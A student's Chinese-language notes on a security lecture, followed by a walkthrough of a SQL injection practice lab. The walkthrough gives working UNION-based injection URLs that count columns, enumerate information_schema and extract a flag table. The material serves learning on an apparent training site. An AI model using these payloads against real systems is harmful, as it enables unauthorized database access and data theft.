# 資安講座心得
這次講座學到了很多以前沒看過的東西,像是漏洞回報的網站、漏洞資料庫、世界監視器等等...,我真的沒想過還有網站可以這樣看別人家的監視器。
再來就說到寫網頁常常看到的攻擊,其中index of的頁面就曾經在用xampp架網站時看過,當時就在想有這東西不會太危險嗎,而且誰都能找到那個頁面,另外在創科用laravel開發了很多次後端,也常常看到debug的畫面,也沒想過會因為那個頁面洩漏機密。
在網頁設計上聽過的就比較多,像是不要明文傳輸敏感資訊、雜湊密碼、錯誤訊息不能太明確之類的,其中帶了一個SQL injection的練習令我印象深刻,用我沒看過的SQL指令抓我不了解的資料庫,還能如此簡單的取得我的資料庫與表格欄位的名稱,這不知道又洩漏了多少個資。
講師非常活潑,也很樂於分享各種故事,可能是內容非常好玩,整個過程非常快就沒了,但也可惜時間真的有點少,看起來還有很多東西都沒辦法玩到,希望下次還能看到這種講座。
### SQL injection練習
[練習網站](https://lab.feifei.tw/practice/sqli/news.php?id=1)
原理:mysql資料庫有一個資料庫名稱為"information_schema",裡面記錄了所有資資料庫的資料,例如全部的資料庫名稱、表格名稱、欄位名稱,因此只要能利用SQL injection技巧就能取得所有資料。
步驟:
1. 此次練習使用UNION SELECT的SQL語法,使用前需要確認原始SQL裡select了幾個欄位,這裡使用group by加上數字來窮舉欄位數量
`https://lab.feifei.tw/practice/sqli/news.php?id=1 group by 3 #`

`https://lab.feifei.tw/practice/sqli/news.php?id=1 group by 4 #`

最後發現group by 4出錯了,因此得知select了三個欄位
2. 接著要知道哪個欄位會輸出到頁面,為了讓資料不要正常輸出還要加上and 1=2,使資料只能是union select查的資料
`https://lab.feifei.tw/practice/sqli/news.php?id=1 and 1 = 2 union select 1,2,3 #`

由此可知欄位2、3能夠輸出出來
3. 接著就開始下語法查詢information_schema的資料
`https://lab.feifei.tw/practice/sqli/news.php?id=1 and 1 = 2 union select NULL,group_concat(schema_name),NULL FROM information_schema.schemata #`

`https://lab.feifei.tw/practice/sqli/news.php?id=1 and 1 = 2 union select NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema='myDb' #`

`https://lab.feifei.tw/practice/sqli/news.php?id=1 and 1 = 2 union select NULL,group_concat(column_name),NULL FROM information_schema.columns WHERE table_name='secret' #`

4. 最後將目標資料挖出來
`https://lab.feifei.tw/practice/sqli/news.php?id=1 and 1 = 2 union select NULL,group_concat(THIS_IS_FLAG),NULL FROM myDb.secret #`
